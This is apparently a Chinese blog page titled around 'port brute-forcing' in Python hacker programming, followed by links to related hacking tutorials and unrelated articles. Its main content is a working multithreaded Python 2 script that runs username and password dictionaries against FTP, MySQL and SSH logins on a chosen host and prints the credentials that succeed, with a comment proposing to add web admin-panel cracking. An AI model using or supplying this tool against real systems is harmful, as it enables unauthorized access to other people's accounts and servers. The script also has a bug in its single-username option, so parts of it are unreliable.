1. #coding:utf-8
  2. from optparse import OptionParser
  3. import time,re,sys,threading,Queue
  4. import ftplib,socket,MySQLdb,paramiko
  5.  
  6. global host
  7. queue = Queue.Queue()
  8. #********************************************
  9. #color
  10. #********************************************
  11. class bcolors:
  12. OKBLUE = '\033[94m'
  13. FAIL = '\033[91m'
  14. ENDC = '\033[0m'
  15. #********************************************
  16. #FTP爆破模块
  17. #********************************************
  18. class FtpBurp(threading.Thread):
  19. """docstring for ftp"""
  20. def __init__(self, queue):
  21. threading.Thread.__init__(self)
  22. self.queue = queue
  23. def run(self):
  24. while True:
  25. user,pwd = self.queue.get()
  26. try:
  27. ftp = ftplib.FTP()
  28. ftp.connect(host,21,timeout=10)
  29. ftp.login(user,pwd)
  30. print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
  31. ftp.quit()
  32. except ftplib.all_errors:
  33. print bcolors.FAIL+'[*]'+user+'----'+pwd
  34. self.queue.task_done()
  35. #********************************************
  36. #MySql爆破模块
  37. #********************************************
  38. class MySql(threading.Thread):
  39. def __init__(self,queue):
  40. threading.Thread.__init__(self)
  41. self.queue = queue
  42. def run(self):
  43. while True:
  44. user,pwd = self.queue.get()
  45. try:
  46. conn = MySQLdb.connect(host=host, user=user,passwd=pwd,db='mysql',port=3306)
  47. print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
  48. if conn:
  49. conn.close()
  50. except MySQLdb.Error, msg:
  51. print bcolors.FAIL+'[*]'+user+'----'+pwd
  52. self.queue.task_done()
  53. #********************************************
  54. #SSH爆破模块
  55. #********************************************
  56. class SSH(threading.Thread):
  57. """docstring for SSH"""
  58. def __init__(self,queue):
  59. threading.Thread.__init__(self)
  60. self.queue = queue
  61. def run(self):
  62. while True:
  63. user,pwd = self.queue.get()
  64. try:
  65. ssh = paramiko.SSHClient()
  66. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  67. ssh.connect(host,22,user,pwd,timeout=5)
  68. print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
  69. ssh.close()
  70. exit()
  71. except Exception,e:
  72. print bcolors.FAIL+'[*]'+user+'----'+pwd
  73. self.queue.task_done()
  74. #********************************************
  75. #可添加web后台爆破
  76. #********************************************
  77. usage = 'Usage: %prog [-t target] [-m method]'
  78. parser = OptionParser(usage)
  79. parser.add_option('-t', dest='target', help='host')
  80. parser.add_option('-m', dest='method', help='ways')
  81. parser.add_option('-u', dest='username', help='username')
  82. parser.add_option('-U', dest='usernamedic', help='username')
  83. parser.add_option('-P', dest='passworddic', help='password')
  84. parser.add_option('-n', dest='threading', help='Thread')
  85.  
  86. (options, args) = parser.parse_args()
  87.  
  88. if options.target == None:
  89. parser.print_help()
  90. sys.exit(0)
  91.  
  92. if options.threading:
  93. n = int(options.threading)
  94. else:
  95. n = 5
  96. if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', options.target):
  97. host = options.target
  98. else :
  99. host = socket.gethostbyname(options.target)
  100. print 'target: %s \n' % host
  101. if options.username :
  102. userlist[0] = options.username
  103. print 'username: %s' % options.username
  104. elif options.usernamedic:
  105. userlist = [j.strip() for j in open(options.usernamedic)]
  106. print 'username_number: %d $\n' % len(userlist)
  107. passlist = [j.strip() for j in open(options.passworddic)]
  108. print 'password_number: %d $\n' % len(passlist)
  109. if options.method == 'ftp':
  110. for i in range(n):
  111. m_ftp = FtpBurp(queue)
  112. m_ftp.setDaemon(True)
  113. m_ftp.start()
  114. for user in userlist:
  115. for pwd in passlist:
  116. queue.put((user,pwd))
  117. if options.method == 'mysql':
  118. for i in range(n):
  119. m_sql = MySql(queue)
  120. m_sql.setDaemon(True)
  121. m_sql.start()
  122. for user in userlist:
  123. for pwd in passlist:
  124. queue.put((user,pwd))
  125.  
  126. if options.method == 'ssh':
  127. for i in range(n):
  128. m_ssh = SSH(queue)
  129. m_ssh.setDaemon(True)
  130. m_ssh.start()
  131. for user in userlist:
  132. for pwd in passlist:
  133. queue.put((user,pwd))
  134. queue.join()

python黑客编程之端口爆破的更多相关文章

  1. Python黑客编程2 入门demo--zip暴力破解

    Python黑客编程2 入门demo--zip暴力破解 上一篇文章,我们在Kali Linux中搭建了基本的Python开发环境,本篇文章为了拉近Python和大家的距离,我们写一个暴力破解zip包密 ...

  2. 《Python黑客编程之极速入门》正式开课

    玄魂 玄魂工作室 今天 之前开启了一个<Python黑客编程>的系列,后来中断了,内容当时设置的比较宽,不太适合入门.现在将其拆分成两个系列<Python黑客编程之极速入门>和 ...

  3. Python黑客编程基础3网络数据监听和过滤

    网络数据监听和过滤 课程的实验环境如下: •      操作系统:kali Linux 2.0 •      编程工具:Wing IDE •      Python版本:2.7.9 •      涉及 ...

  4. Python黑客编程ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  5. 电子书推荐--《Python灰帽子》,python黑客编程

    点此在线阅读 <Python灰帽子>是由知名安全机构Immunity Inc的资深黑帽Justin Seitz主笔撰写的一本关于编程语言Python如何被广泛应用于黑客与逆向工程领域的书籍 ...

  6. Python黑客编程知识点整理

    Python转义字符 转义字符 意义 ASCII码值(十进制) \a 响铃(BEL) 007 \b 退格(BS) ,将当前位置移到前一列 008 \f 换页(FF),将当前位置移到下页开头 012 \ ...

  7. Python 黑客相关电子资源和书籍推荐

    原创 2017-06-03 玄魂工作室 玄魂工作室 继续上一次的Python编程入门的资源推荐,本次为大家推荐的是Python网络安全相关的资源和书籍. 在去年的双11送书的时候,其实送过几本Pyth ...

  8. python网络编程01 /C/S架构|B/S架构、网络通信原理、五层协议、七层协议简述、端口映射技术

    python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述.端口映射技术 目录 python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述. ...

  9. Python 网络编程(一)

    Python 网络编程 socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. ...

随机推荐

  1. silverlight如何通过单独部署的WCF站点访问sharepoint2013的图片库

    最近有项目silverlight通过单独部署的WCF站点访问sharepoint2013的图片库,需要做个笑脸墙效果如下: 结果开发完毕后无法在SP站点显示出来.使用VS自带的WCF工具进行测试.如下 ...

  2. Android 尺寸单位转换和屏幕适配相关

    Android 尺寸单位转换和屏幕适配相关 各种尺寸单位的意义 dp: Density-independent Pixels 一个抽象的单元,基于屏幕的物理密度. (dp和dip的意义相同,所以不用区 ...

  3. Android简单的ListViewDemo及每个控件的点击事件

    ListView是什么? ListView是一个 数据控件,可以展示从数据库中读取的数据.是.net3.5的新控件. 它比gridview更灵活,而且支持多种模板,支持分页. 文章地址 http:// ...

  4. PagerTabStrip在ViewPager的页面中添加标题显示

    package com.qf.day18_viewpager_demo_05; import java.util.ArrayList; import java.util.List; import an ...

  5. 【读书笔记】iOS-数据交换格式

    数据交换格式主要分为:纯文本格式,XML格式和JSON格式. 一,XML数据交换格式. 多年来,一直在各种计算机语言之间使用.它是老牌的,经典的,灵活的数据交换方式. 1,文档结构. 2,XML文档解 ...

  6. [读书笔记] Head First 设计模式

    OO基础 抽象 封装 多态 继承 OO原则 原则 描述 封装变化 找出应用中可能需要变化之处,把它们独立出来,不要和那些不需要变化的代码混合在一起. 把会变化的部分取出来并“封装”起来,好让其他部分不 ...

  7. iOS 页面跳转传值,属性传值,代理传值,代码块传值,单例传值,通知传值

    有时候我们在页面跳转的时候回传递相应的参数,如,你想把在第一个页面的文本框里的内容显示在第二个文本框中,或者你又想把第二个文本框中的内容改变之后到第一个页面的文本框中,所有,这个时候我们就要用到页面跳 ...

  8. iOS 学习 - 4.存储聊天记录

    主要是用sqlite3来存储聊天记录 先导入sqlite3.dylib, 点 Add Other,同时按住shift+command+G, 在弹出的Go to the folder中输入/usr/li ...

  9. push notification获取device token

    第一步:申请证书: 第二步:申请app ids,应用名字必须一致.然后再进入进行编辑,使其enable,绿灯. 第三步:申请provisioning profile,生成.mobileprovisio ...

  10. file get contents 访问不了域名原因

    file get contents('域名'); 居然不好用 后来发现 etc/hosts 127.0.0.1  www.baidu.com  这样的 #127.0.0.1  www.baidu.co ...